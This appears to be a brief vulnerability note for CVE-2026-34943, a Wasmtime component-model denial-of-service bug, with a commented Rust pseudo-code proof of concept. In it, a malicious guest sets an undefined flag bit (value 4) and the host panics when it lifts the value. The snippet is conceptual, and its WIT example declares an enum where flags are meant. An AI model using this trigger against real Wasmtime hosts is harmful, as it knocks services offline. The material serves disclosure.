CVE-2026-34943 Wasmtime组件模型拒绝服务漏洞

// This is a conceptual PoC for WIT interface interaction. // Vulnerable Context: Lifting a flag value with extraneous bits using Val. // WIT Definition (example): // package my:pkg; // interface flags { // enum my-flags { a, b } // } // Exploit Scenario: // The guest (malicious Wasm) sets a bit outside 'a' or 'b', e.g., bit 2 (value 4). // When the host tries to lift this value into a `Val` type (e.g., for inspection or reflection), // the vulnerable Wasmtime version will panic instead of masking out the invalid bit. // Rust Host-side pseudo-code demonstrating the crash condition: /* fn lift_flags_value(raw_bits: u8) -> Val { // In vulnerable versions (< 24.0.7, etc.), passing raw_bits = 0b00000100 // when only bits 0 and 1 are defined causes a panic here. let val = Val::from_flags(raw_bits); val } // Trigger: // lift_flags_value(0b00000100); // Panic! DoS triggered. */